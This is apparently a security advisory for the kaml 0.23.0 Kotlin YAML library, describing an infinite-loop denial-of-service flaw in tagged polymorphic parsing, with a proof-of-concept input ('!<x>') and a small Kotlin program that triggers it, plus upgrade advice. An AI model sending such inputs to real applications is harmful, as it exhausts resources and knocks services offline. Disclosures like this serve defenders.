com.charleskorn.kaml:kaml@0.23.0 vulnerabilities

com.charleskorn.kaml:kaml is a YAML support for kotlinx.serialization.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker that could provide arbitrary YAML input to an application that uses kaml could cause the application to endlessly loop while parsing the input. This could result in resource exhaustion and denial of service.

This only affects applications that use polymorphic serialization with the default tagged polymorphism style. Applications using the property polymorphism style are not affected. YAML input for a polymorphic type that provided a tag but no value for the object would trigger the issue.

PoC

# YAML input for a polymorphic type that provided a tag but no value for the object would trigger the issue, for example:
!<x>

// The following is a sample application that demonstrates this issue:
import com.charleskorn.kaml.Yaml
import kotlinx.serialization.SerialName
import kotlinx.serialization.Serializable

@Serializable
private sealed class K {
    @Serializable
    @SerialName("x")
    data class X(
        val property: String? = null,
    ) : K()
}

const val s = """
!<x>
"""

fun main() {
    println("Started.")
    val result = Yaml.default.decodeFromString(K.serializer(), s)
    println("Finished, result is $result")
}

Upgrade com.charleskorn.kaml:kaml to version 0.35.3 or higher.